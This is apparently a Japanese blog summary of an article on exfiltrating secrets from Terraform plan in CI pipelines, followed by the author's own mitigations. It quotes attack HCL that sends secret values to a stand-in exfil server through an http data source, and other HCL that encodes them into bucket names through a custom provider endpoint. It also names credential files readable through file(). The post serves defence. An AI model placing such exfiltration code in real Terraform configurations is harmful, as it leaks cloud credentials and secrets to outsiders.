Bucket full of secrets – Terraform exfiltration
が面白いので要点をまとめる
Terraform の CI/CD において機密情報を流出させる方法とその対策が、具体的な攻撃コードを交えて紹介されている。
結論を言うと完全な対策はない。
前提: Pull Request で terraform plan を実行する
Level 1 – Let me GET your data
http data source を使い、外部に secret を流出させる
data "http" "example" {
count = local.chunks
url = "http://${var.exfil_server}/http/${data.google_secret_manager_secret_version.secret.secret_data}"
}
対策: Terraform Provider を Allow List で管理し、 http provider のような危険な provider を禁止する
terraform init -plugin-dir=/opt/terraform-providers
ちなみに自分も provider を allow list で管理する OSS を開発しています。
Level 2 – Moving back to on-premise
GCP Provider や AWS Provider の custom endpoint option を悪用し、外部にリクエストを送る
https://registry.terraform.io/providers/wiardvanrij/ipv4google/latest/docs/guides/provider_reference#{{service}}_custom_endpoint
data "google_storage_bucket" "exfil" {
provider = google.exfil
count = local.chunks
name = "${var.exfil_id}-${local.chunks}-${count.index}-${base64encode(substr(local.secret_data, count.index * 64, 64))}"
}
google_storage_bucket data source を使って GCS Bucket 名に機密情報を混ぜて外部に機密情報を送る。
まぁ他のリソースでもなんでも良い気はする。
対策1: conftest などを用いて terraform plan 実行前に validation をする
対策2: ネットワークポリシーで外部への流出を防ぐ
Level 3 – I should have been logging this all along
GCS bucket の object 名に機密情報を混ぜ、 bucket の audit log に機密情報を流出させる。
Level 2 の攻撃と違い、この方法だと validation やネットワークポリシーで防ぐのが難しい。
この攻撃に対する完全な対策はない。
terraform plan を実行する前に承認フローを導入するという手も考えられるが、かなり生産性を損ない、現実的ではない。
基本的な対策として Least Privilege を徹底し、機密情報を極力参照できないようにするというのがある。
ただしこれも絶対的な解決策ではない。
感想など
terraform plan レベルで機密情報を流出させる攻撃方法が具体的なコードとともに紹介されていて非常に興味深かった。
apply はともかく plan の危険性はあまり広く認知されていないと思うので、とても意義のある記事だと思う。
terraform に対する conftest は plan file に対して実行するのが恐らく一般的だと思う(opa のドキュメントでもそうしている)が、今回のような場合 plan を実行する前に conftest を実行する必要がある。
ただその場合 Terraform の expression を評価した上で検証することが出来ないという大きな制約はあると思うので、両方 (HCL に対する policy と Plan file に対する Policy) 必要だと思う。
backend や provider の設定は Plan file に含まれないので Plan file では test 出来ないですしね。
以前から思っていることとしては、 Terraform はなんでも出来すぎるので、もう少し Terraform 本体でセキュリティに関する部分をケアしてくれないかなとは思っている。
対策
- Provider を Allow List で管理する
- Terraform で Secret を管理しない
- Terraform で使う Service Account に secret の Read / Write 権限を付与しない
- 可能であればネットワークレベルでアウトバウンドを禁止し機密情報の流出を防ぐ
- Conftest などで危険な設定を禁止する
- 特定のリソースタイプの禁止
- Provider の Custom Endpoint のような設定の禁止
- DB 作成時に password を渡さないといけないような場合
- ダミーの password を渡して作成
- password を更新
- Terraform の lifecycle.ignore_changes で password 変更を無視する https://developer.hashicorp.com/terraform/language/meta-arguments/lifecycle
- Input variables で機密情報を渡さない
- Provider の認証に使う場合も、大抵の Provider は環境変数などをサポートしているはずなので基本 Input variables で渡す必要はないはず
- 認証情報は環境変数経由で Provider に渡す
ファイルから機密情報を読み込んでいる場合、 file function を使って読み込めてしまう。
これを防ぐのは難しい。
例えば GCP でいうと $HOME/.config/gcloud/application_default_credentials.json
を使って認証している場合、そのファイルを file function で読まれるリスクがある。
これは当然 GCP に限った話ではない。
なのでファイルではなく環境変数で認証情報を渡すほうがより安全なはずだが、 gcloud command などを使って認証している場合、ファイルに書き込まれる気がする。 keychain とかと連携して暗号化して保存できていたら安全だが、 CI の場合基本そこまでやられてないと思われる。
Terraform の組み込み関数で環境変数を読み込むようなものはないはず(あったら危なすぎる)。
Issue を確認したところ、やはりデザインでそのような関数は追加しないと言っている。
認証情報は環境変数経由で Provider に渡す
action を使って AWS や GCP に認証した場合、認証情報を file function などを使って参照できないか気になったので確認した。
結論をいうと基本できないのであまり心配する必要はなさそう。
configure-aws-credentials は環境変数として export している
実際 action の実行結果を確認したところ以下の環境変数が設定されていた。
AWS_DEFAULT_REGION: ap-northeast-1
AWS_REGION: ap-northeast-1
AWS_ACCESS_KEY_ID: ***
AWS_SECRET_ACCESS_KEY: ***
AWS_SESSION_TOKEN: ***
まぁ公開範囲を最小限にするという意味では環境変数ではなく action の output を使うのが望ましいけど、それは今回の話とは別の話。
google-github-actions/auth も環境変数が設定されているが、 GOOGLE_APPLICATION_CREDENTIALS
が指しているファイルパスに認証情報が生成されている。
ファイル名に乱数が含まれているので、ファイルパスを特定して Terraform の file function で読み込むのは難しい気はする。
CLOUDSDK_AUTH_CREDENTIAL_FILE_OVERRIDE: /home/runner/work/***/***/***.json
GOOGLE_APPLICATION_CREDENTIALS: /home/runner/work/***/***/***.json
GOOGLE_GHA_CREDS_PATH: /home/runner/work/***/***/***.json
CLOUDSDK_CORE_PROJECT: ***
CLOUDSDK_PROJECT: ***
GCLOUD_PROJECT: ***
GCP_PROJECT: ***
GOOGLE_CLOUD_PROJECT: ***